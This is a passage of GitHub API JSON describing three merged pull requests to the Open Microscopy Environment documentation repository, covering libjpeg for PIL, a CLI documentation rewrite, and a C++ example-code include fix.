/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"bb1b82d32520f8362333335328321988202a9aef","ref":"rebased/dev_4_4/develop"},"assignee":null,"updated_at":"2013-01-15T20:02:36Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/208/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/208/commits","closed_at":"2013-01-15T20:02:36Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/208","merged_at":"2013-01-15T20:02:36Z","merge_commit_sha":"323fb029776abcf6ef1c39aa268f338c59276a6d","created_at":"2013-01-14T11:19:15Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/208/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/208.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/208","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-204 but rebased onto dev_4_4.\n\n----\n\nIf `libjpeg` is not installed while building PIL the JPEG support for some of the python scripts is missing (e.g. the \"Split View\" from the Figure scripts will fail).\r\n\r\nThe windows documentation probably doesn't need to be updated since PIL is provided as a binary distribution for that platform (and hopefully comes with JPEG support).\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/208.diff","id":3661573,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"e1c4760c812f4b1b5d150a48ee872d4962f3722c","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/207/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/207"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/207"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/207"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/207/comments"}},"title":"CLI documentation (rebased onto develop)","state":"closed","number":207,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/207","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:rebased/develop/2571_cli_improvements","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"e37ed12e664defb381f7726c8931484693770989","ref":"rebased/develop/2571_cli_improvements"},"assignee":null,"updated_at":"2013-01-15T20:04:10Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/207/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/207/commits","closed_at":"2013-01-15T20:04:10Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/207","merged_at":"2013-01-15T20:04:10Z","merge_commit_sha":"43f6e415f4faf967ac93a94135843876437e48d7","created_at":"2013-01-14T08:49:46Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/207/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/207.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/207","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-179 but rebased onto develop.\n\n----\n\nThis PR was originally meant to document the CLI changes of openmicroscopy/openmicroscopy#498 and openmicroscopy/openmicroscopy#514. Since the Command Line Interface documentation had been directly imported from trac, I ended up significantly rewriting the CLI documentation with the help of @ximenesuk.\r\n\r\nSummary of main changes:\r\n- CLI documentation is now split into three pages (users, sysadmins, developers)\r\n- User documentation currently describes `sessions` & `import` plugins\r\n- Sysadmin documentation currently describes `config`, `db`, `admin`, `user` & `group` plugins\r\n- A new role `:omerocmd:` is defined in conf.py which turns CLI commands into bold face and create an entry in the generated index.\r\n\r\nNote: this PR documents changes occuring in the `dev_4_4` branch post the `v.4.4.5` tag. Thus it should only be be released together with the code release and should not be merged until a full release is scheduled.\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/207.diff","id":3659910,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"5c0fcbe7f0fd8bd70c31f9e29b9ce5378e2726c3","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/206/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/206"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/206"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/206"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/206/comments"}},"title":"Fixed forward declartion incomplete type error in c++ example code","state":"closed","number":206,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/206","head":{"user":{"type":"User","url":"https://api.github.com/users/dpwrussell","received_events_url":"https://api.github.com/users/dpwrussell/received_events","login":"dpwrussell","events_url":"https://api.github.com/users/dpwrussell/events{/privacy}","organizations_url":"https://api.github.com/users/dpwrussell/orgs","avatar_url":"https://secure.gravatar.com/avatar/bcb60819fb3f875de3d2701ee5642e17?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/dpwrussell/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/dpwrussell/gists{/gist_id}","gravatar_id":"bcb60819fb3f875de3d2701ee5642e17","followers_url":"https://api.github.com/users/dpwrussell/followers","id":1889043,"repos_url":"https://api.github.com/users/dpwrussell/repos","subscriptions_url":"https://api.github.com/users/dpwrussell/subscriptions","following_url":"https://api.github.com/users/dpwrussell/following"},"label":"dpwrussell:dev_4_4","repo":{"forks":0,"svn_url":"https://github.com/dpwrussell/ome-documentation","merges_url":"https://api.github.com/repos/dpwrussell/ome-documentation/merges","languages_url":"https://api.github.com/repos/dpwrussell/ome-documentation/languages","assignees_url":"https://api.github.com/repos/dpwrussell/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/dpwrussell/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/dpwrussell/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/dpwrussell/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/dpwrussell","received_events_url":"https://api.github.com/users/dpwrussell/received_events","login":"dpwrussell","events_url":"https://api.github.com/users/dpwrussell/events{/privacy}","organizations_url":"https://api.github.com/users/dpwrussell/orgs","avatar_url":"https://secure.gravatar.com/avatar/bcb60819fb3f875de3d2701ee5642e17?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/dpwrussell/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/dpwrussell/gists{/gist_id}","gravatar_id":"bcb60819fb3f875de3d2701ee5642e17","followers_url":"https://api.github.com/users/dpwrussell/followers","id":1889043,"repos_url":"https://api.github.com/users/dpwrussell/repos","subscriptions_url":"https://api.github.com/users/dpwrussell/subscriptions","following_url":"https://api.github.com/users/dpwrussell/following"},"open_issues":0,"updated_at":"2013-01-14T20:49:36Z","milestones_url":"https://api.github.com/repos/dpwrussell/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/dpwrussell/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/dpwrussell/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/dpwrussell/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/dpwrussell/ome-documentation/events","notifications_url":"https://api.github.com/repos/dpwrussell/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/dpwrussell/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/dpwrussell/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/dpwrussell/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/dpwrussell/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/dpwrussell/ome-documentation/collaborators{/collaborator}","full_name":"dpwrussell/ome-documentation","ssh_url":"git@github.com:dpwrussell/ome-documentation.git","pulls_url":"https://api.github.com/repos/dpwrussell/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/dpwrussell/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/dpwrussell/ome-documentation/subscription","teams_url":"https://api.github.com/repos/dpwrussell/ome-documentation/teams","watchers":0,"created_at":"2013-01-11T16:28:07Z","git_url":"git://github.com/dpwrussell/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/dpwrussell/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/dpwrussell/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/dpwrussell/ome-documentation/keys{/key_id}","size":132,"compare_url":"https://api.github.com/repos/dpwrussell/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/dpwrussell/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/dpwrussell/ome-documentation/hooks","fork":true,"html_url":"https://github.com/dpwrussell/ome-documentation","master_branch":"develop","clone_url":"https://github.com/dpwrussell/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/dpwrussell/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/dpwrussell/ome-documentation/issues/events{/number}","private":false,"id":7562962,"default_branch":"develop","pushed_at":"2013-01-11T17:05:00Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/dpwrussell/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/dpwrussell/ome-documentation/forks"},"sha":"4033810988777c8f905e44f627a398640df2ed05","ref":"dev_4_4"},"assignee":null,"updated_at":"2013-01-14T20:49:36Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/206/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/206/commits","closed_at":"2013-01-14T20:49:36Z","user":{"type":"User","url":"https://api.github.com/users/dpwrussell","received_events_url":"https://api.github.com/users/dpwrussell/received_events","login":"dpwrussell","events_url":"https://api.github.com/users/dpwrussell/events{/privacy}","organizations_url":"https://api.github.com/users/dpwrussell/orgs","avatar_url":"https://secure.gravatar.com/avatar/bcb60819fb3f875de3d2701ee5642e17?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/dpwrussell/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/dpwrussell/gists{/gist_id}","gravatar_id":"bcb60819fb3f875de3d2701ee5642e17","followers_url":"https://api.github.com/users/dpwrussell/followers","id":1889043,"repos_url":"https://api.github.com/users/dpwrussell/repos","subscriptions_url":"https://api.github.com/users/dpwrussell/subscriptions","following_url":"https://api.github.com/users/dpwrussell/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/206","merged_at":"2013-01-14T20:49:36Z","merge_commit_sha":"591c4b608e04a3e6f7da4d599f6761f7111c53b3","created_at":"2013-01-11T17:12:07Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/206/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/206.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/206","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"Compiling the existing example code results in an incomplete type error as omero/client.h includes omero/ServicesF.h which forward declares IAdmin\r\n\r\nFix by including omero/api/IAdmin.h\r\n\r\n```\r\ng++ -c -o yourcode.o yourcode.cpp -I/home/dpwrussell/Ice/omero/OMERO.cpp-4.4.5-ice33-posix-gcc-4.6.3-64dbg/include -I/home/dpwrussell/Ice/home/Ice-3.3.1//include \r\nyourcode.cpp: In function ‘int main(int, char**)’:\r\nyourcode.cpp:30:18: error: invalid use of incomplete type ‘struct IceProxy::omero::api::IAdmin’\r\n/home/dpwrussell/Ice/omero/OMERO.cpp-4.4.5-ice33-posix-gcc-4.6.3-64dbg/include/omero/ServicesF.h:60:7: error: forward declaration of ‘struct IceProxy::omero::api::IAdmin’\r\nmake: *** [yourcode.o] Error 